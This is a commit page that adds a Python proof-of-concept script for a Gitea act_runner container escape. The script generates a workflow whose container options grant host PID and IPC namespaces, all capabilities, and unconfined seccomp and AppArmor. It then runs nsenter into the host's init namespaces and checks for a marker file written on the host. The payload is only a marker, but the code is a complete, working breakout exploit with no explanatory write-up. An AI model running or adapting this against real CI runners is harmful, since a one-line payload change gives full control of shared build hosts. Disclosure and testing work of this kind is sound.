Upload files to "gitea-act-runner-container-options-poc"

2026-06-29 16:45:52 +00:00
parent dd5558e4d9
commit 41bbd51204
3 changed files with 292 additions and 0 deletions
@@ -0,0 +1,157 @@
+#!/usr/bin/env python3
+import argparse
+import os
+import pathlib
+import re
+import shutil
+import shlex
+import subprocess
+import sys
+import tempfile
+import textwrap
+
+
+DEFAULT_OPTIONS = "--pid=host --ipc=host --cap-add=ALL --security-opt seccomp=unconfined --security-opt apparmor=unconfined"
+DEFAULT_MARKER = "/tmp/gitea_act_runner_container_options_poc_marker"
+SUCCESS_TOKEN = "gitea-act-runner-container-options-poc-ok"
+
+
+def parser():
+    p = argparse.ArgumentParser(
+        description="Local marker-only PoC for Gitea act_runner workflow container.options host namespace escape."
+    )
+    p.add_argument("--runner", default="act_runner", help="Path to the act_runner binary.")
+    p.add_argument("--image", default="ubuntu:22.04", help="Linux image used for the job container.")
+    p.add_argument("--marker", default=DEFAULT_MARKER, help="Absolute Linux host marker path to create.")
+    p.add_argument("--workdir", default="", help="Directory for the generated workflow. Defaults to a temporary directory.")
+    p.add_argument("--keep-workdir", action="store_true", help="Keep the generated workflow directory.")
+    p.add_argument("--timeout", type=int, default=180, help="act_runner exec timeout in seconds.")
+    p.add_argument("--debug", action="store_true", help="Run act_runner with --debug.")
+    p.add_argument("--pull", action="store_true", help="Ask act_runner to pull the container image.")
+    return p
+
+
+def validate_marker(marker):
+    if not marker.startswith("/"):
+        raise SystemExit("marker must be an absolute Linux path")
+    if not re.fullmatch(r"[A-Za-z0-9._/\-]+", marker):
+        raise SystemExit("marker contains unsupported characters")
+    if marker in {"/", "/tmp", "/var/tmp"}:
+        raise SystemExit("marker must be a file path")
+
+
+def write_workflow(root, marker, image):
+    workflows = root / ".gitea" / "workflows"
+    workflows.mkdir(parents=True, exist_ok=True)
+    marker_q = shlex.quote(marker)
+    inner = f"id > {marker_q}; echo {shlex.quote(SUCCESS_TOKEN)} >> {marker_q}"
+    command = f"nsenter -t 1 -m -u -i -n -p -- sh -c {shlex.quote(inner)}"
+    workflow = f"""
+name: gitea-act-runner-container-options-poc
+
+on:
+  - push
+
+jobs:
+  breakout:
+    runs-on: ubuntu-latest
+    container:
+      image: {image}
+      options: >-
+        {DEFAULT_OPTIONS}
+    steps:
+      - name: host namespace marker
+        run: |
+          set -eu
+          {command}
+"""
+    path = workflows / "poc.yml"
+    path.write_text(textwrap.dedent(workflow).lstrip(), encoding="utf-8")
+    return path
+
+
+def run(args, root):
+    cmd = [
+        args.runner,
+        "exec",
+        "-C",
+        str(root),
+        "-W",
+        str(root / ".gitea" / "workflows"),
+        "-j",
+        "breakout",
+        "--container-daemon-socket=-",
+        "--image",
+        args.image,
+    ]
+    if args.pull:
+        cmd.append("--pull")
+    if args.debug:
+        cmd.append("--debug")
+    print("[*] running:", " ".join(shlex.quote(x) for x in cmd), flush=True)
+    return subprocess.run(
+        cmd,
+        stdout=subprocess.PIPE,
+        stderr=subprocess.STDOUT,
+        text=True,
+        timeout=args.timeout,
+        check=False,
+    )
+
+
+def read_marker(marker):
+    try:
+        return pathlib.Path(marker).read_text(encoding="utf-8", errors="replace")
+    except FileNotFoundError:
+        return ""
+    except PermissionError as exc:
+        raise SystemExit(f"marker exists but cannot be read: {exc}") from exc
+
+
+def remove_marker(marker):
+    try:
+        pathlib.Path(marker).unlink()
+    except FileNotFoundError:
+        pass
+    except PermissionError:
+        pass
+
+
+def main():
+    args = parser().parse_args()
+    validate_marker(args.marker)
+    runner = shutil.which(args.runner) if os.path.basename(args.runner) == args.runner else args.runner
+    if not runner:
+        raise SystemExit("act_runner binary was not found; pass --runner /path/to/act_runner")
+    args.runner = runner
+
+    remove_marker(args.marker)
+    temp = None
+    if args.workdir:
+        root = pathlib.Path(args.workdir).resolve()
+        root.mkdir(parents=True, exist_ok=True)
+    else:
+        temp = tempfile.TemporaryDirectory(prefix="gitea-act-runner-poc-")
+        root = pathlib.Path(temp.name)
+
+    workflow = write_workflow(root, args.marker, args.image)
+    print(f"[*] generated workflow: {workflow}", flush=True)
+
+    try:
+        result = run(args, root)
+    finally:
+        if temp and args.keep_workdir:
+            temp.cleanup = lambda: None
+
+    print(result.stdout, end="")
+    marker = read_marker(args.marker)
+    if result.returncode != 0:
+        raise SystemExit(f"act_runner exited with {result.returncode}")
+    if SUCCESS_TOKEN not in marker:
+        raise SystemExit("marker was not created; host namespace entry was not verified")
+    print("[+] verified host marker:")
+    print(marker, end="" if marker.endswith("\n") else "\n")
+
+
+if __name__ == "__main__":
+    main()